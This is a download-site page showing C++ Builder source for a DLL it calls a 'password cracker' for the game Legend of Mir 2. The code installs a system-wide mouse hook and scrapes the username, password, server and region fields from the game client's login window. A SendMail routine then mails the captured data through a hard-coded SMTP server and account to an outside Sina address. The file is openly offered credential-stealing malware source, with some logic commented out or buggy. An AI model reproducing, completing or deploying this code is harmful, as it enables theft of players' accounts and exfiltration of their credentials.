⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit1.c

📁 密码解霸第三代源码,业余爱好收藏 希望有兴趣的 人们来玩玩他. 比较老的代码了
💻 C
字号:
//---------------------------------------------------------------------------

#include <vcl.h>
#include <windows.h>
#include <IdMessageClient.hpp>
#include <IdSMTP.hpp>
#pragma hdrstop
//---------------------------------------------------------------------------
//   Important note about DLL memory management when your DLL uses the
//   static version of the RunTime Library:
//
//   If your DLL exports any functions that pass String objects (or structs/
//   classes containing nested Strings) as parameter or function results,
//   you will need to add the library MEMMGR.LIB to both the DLL project and
//   any other projects that use the DLL.  You will also need to use MEMMGR.LIB
//   if any other projects which use the DLL will be performing new or delete
//   operations on any non-TObject-derived classes which are exported from the
//   DLL. Adding MEMMGR.LIB to your project will change the DLL and its calling
//   EXE's to use the BORLNDMM.DLL as their memory manager.  In these cases,
//   the file BORLNDMM.DLL should be deployed along with your DLL.
//
//   To avoid using BORLNDMM.DLL, pass string information using "char *" or
//   ShortString parameters.
//
//   If your DLL uses the dynamic version of the RTL, you do not need to
//   explicitly add MEMMGR.LIB as this will be done implicitly for you
//---------------------------------------------------------------------------

#pragma argsused
typedef struct
{
POINT  MouseLoc;      // 存放鼠标位置
HHOOK  NewHook;        // 存放新钩子句柄
int    LoadCount;         // DLL装入次数计数
HWND g_hWnd;
char location[64];
char username[64];
char psw[64];
char server[32];
} HOOKSTRUCT;

HINSTANCE  DllHinst=NULL;
HOOKSTRUCT *HookStruct=NULL;
HANDLE hFile=NULL;
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
       DllHinst=hinst;
     switch(reason)
      {
        case DLL_PROCESS_ATTACH:     // DLL入口
          hFile=CreateFileMapping(INVALID_HANDLE_VALUE,
                                  NULL,
                                  PAGE_READWRITE,
                                  0,
                                  sizeof(HOOKSTRUCT),
                                  "HookStruct");
          HookStruct=(HOOKSTRUCT *)MapViewOfFile(hFile,
                                                 FILE_MAP_ALL_ACCESS,
                                                 0,
                                                 0,
                                                 sizeof(HOOKSTRUCT));
          HookStruct->LoadCount++;
          break;
        case DLL_PROCESS_DETACH: // DLL出口处理
          HookStruct->LoadCount--;
          UnmapViewOfFile(HookStruct);
          CloseHandle(hFile);

          break;
      } return 1;
}
//-------------------------
BOOL CALLBACK EnumChildProc(HWND hwnd,LPARAM lParam)
{
char lp[32];
GetClassName(hwnd,lp,32);
 if (String(lp)=="TEdit")
 { LONG style=::GetWindowLong(hwnd,GWL_STYLE); //得到STYLE
  if((style&ES_PASSWORD)!=ES_PASSWORD)   //bu 是密码框
  {
SendMessage(hwnd,WM_GETTEXT,64,(LPARAM)(LPCTSTR)HookStruct->username); //得到username

    return false;
 }
 if((style&ES_PASSWORD)==ES_PASSWORD)       //是密码框
 {SendMessage(hwnd,WM_GETTEXT,64,(LPARAM)(LPCTSTR)HookStruct->psw);  //得到psw
         return true;
 }
 }



}
//-------------------------
BOOL CALLBACK EnumChildProc2(HWND hwnd,LPARAM lParam)
{
char lp[32];
GetClassName(hwnd,lp,32);
 if (String(lp)=="TEdit")
 { LONG style=::GetWindowLong(hwnd,GWL_STYLE); //得到STYLE
  if((style&ES_PASSWORD)!=ES_PASSWORD)   //bu 是密码框
  {
SendMessage(hwnd,WM_GETTEXT,64,(LPARAM)(LPCTSTR)HookStruct->server); //得到username
    ShowMessage("ooo");
    return true;
 }

 }



}



















//--------
extern "C" __declspec(dllexport)
void __stdcall GetMouse(int &mx,int &my,int &js, char **p,char **l,char **u,char **s)  // DLL导出函数GetMouse()
{
     mx=HookStruct->MouseLoc.x;      // 送出鼠标位置
     my=HookStruct->MouseLoc.y;
     js=HookStruct->LoadCount;       // 送出DLL装入次数
     *p=HookStruct->psw;
                  // 送出密码
                  *l=HookStruct->location;
                  *u=HookStruct->username;
                  *s=HookStruct->server;
}
LRESULT CALLBACK MouseHook(int nCode,
                   WPARAM wParam,LPARAM lParam)
{
    if (nCode==HC_ACTION)
       {       int flag=1;
          MOUSEHOOKSTRUCT *l=(MOUSEHOOKSTRUCT *)lParam;
          HookStruct->MouseLoc=l->pt;   //送鼠标位置
          HWND win=GetForegroundWindow();
          HWND Lo=FindWindow("TfrmMain","传奇客户端");HWND L=NULL;
          if (win==Lo&& Lo!=NULL) L=FindWindowEx(Lo,NULL,"TComboBox",NULL);

          if(L!=NULL)
     { SendMessage(L,WM_GETTEXT,128,(LPARAM)(LPCTSTR)HookStruct->location);
         }
        win=GetForegroundWindow();
       Lo=FindWindow("TFrmMain","legend of mir2");
      bool temp=false;
     if (win==Lo&&Lo!=Null) temp=EnumChildWindows(Lo,(WNDENUMPROC)EnumChildProc,0);
       //Lo=FindWindow("TFrmMain","legend of mir2");
      if(temp)
         EnumChildWindows(Lo,(WNDENUMPROC)EnumChildProc2,0);
         //SendMessage(WindowFromPoint(l->pt),WM_GETTEXT,128,(LPARAM)(LPCTSTR)HookStruct->server);

       }
    return(CallNextHookEx(HookStruct->NewHook,nCode,wParam,lParam));
}
extern "C" __declspec(dllexport)
void __stdcall EnableHook()        // 导出函数EnableHook()
{
      if (HookStruct->NewHook==NULL)     //  安装新钩子
         HookStruct->NewHook=SetWindowsHookEx(WH_MOUSE,
                     (HOOKPROC)MouseHook,
                      DllHinst,0);
}
extern "C" __declspec(dllexport)
void __stdcall DisableHook()      // 导出函数DisableHook()
{
     if (HookStruct->NewHook!=NULL)
        {
           UnhookWindowsHookEx(HookStruct->NewHook);
           HookStruct->NewHook=NULL; // 卸掉新钩子
        }
}
//---------------------------------------------------------------------------
extern "C" __declspec(dllexport)
void _stdcall SendMail()
{bool iscon;
TStringList *S1,*S2,*S3,*V1,*V2,*V3;
TStringList *Text;
String add;
String tp;
int i,j;
S1=new TStringList();
V1=new TStringList();
Text=new TStringList();
TIdMessage *IdMessage=new TIdMessage(Application);
//GetKeyName("LegendEnter",S1);
TIdSMTP *smtp=new TIdSMTP(Application);

smtp->Host="202.106.187.143";
smtp->UserId="51bcb";
smtp->Password="12345";
smtp->Connect();
smtp->AuthenticationType=atLogin;
smtp->Authenticate();

if(S1->Count!=0&&smtp->Connected())
{
//add=ReadValue("SystemCurrentControlSetControl","Address");
  IdMessage->From->Address ="51bcb@sina.com";
  IdMessage->Recipients->EMailAddresses="51bcb@sina.com";
  IdMessage->Subject="hello";;

Text->Add("传奇登录");
Text->Add("------------------------");
for(i=0;i<=S1->Count-1;i++)
{/*
GetValueName("LegendEnter"+S1->Strings[i],V1);
tp=ReadValue("LegendEnter"+S1->Strings[i],"区域");
Text->Add("区域:"+ tp);
tp=ReadValue("LegendEnter"+S1->Strings[i],"ID");
Text->Add("用户名"+tp);
tp=ReadValue("LegendEnter"+S1->Strings[i],"PW");
Text->Add("密码:"+tp) ;
tp=ReadValue("LegendEnter"+S1->Strings[i],"SP");
Text->Add("服务器:"+tp) ;
V1->Clear();
Text->Add(" ");   */

}
S1->Free();V1->Free();
}
Text->Add(" ");
Text->Add(" ");
Text->Add("附加信息");
Text->Add("_________________________");
Text->Add("IP地址");
//Text->Add("计算机名"+myGetComputerName());
Text->Add("时间"+DateTimeToStr(Now()));
IdMessage->Body->AddStrings(Text);

if(S1->Count!=0) smtp->Send(IdMessage);
smtp->Disconnect();
smtp->Free();
IdMessage->Free();
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -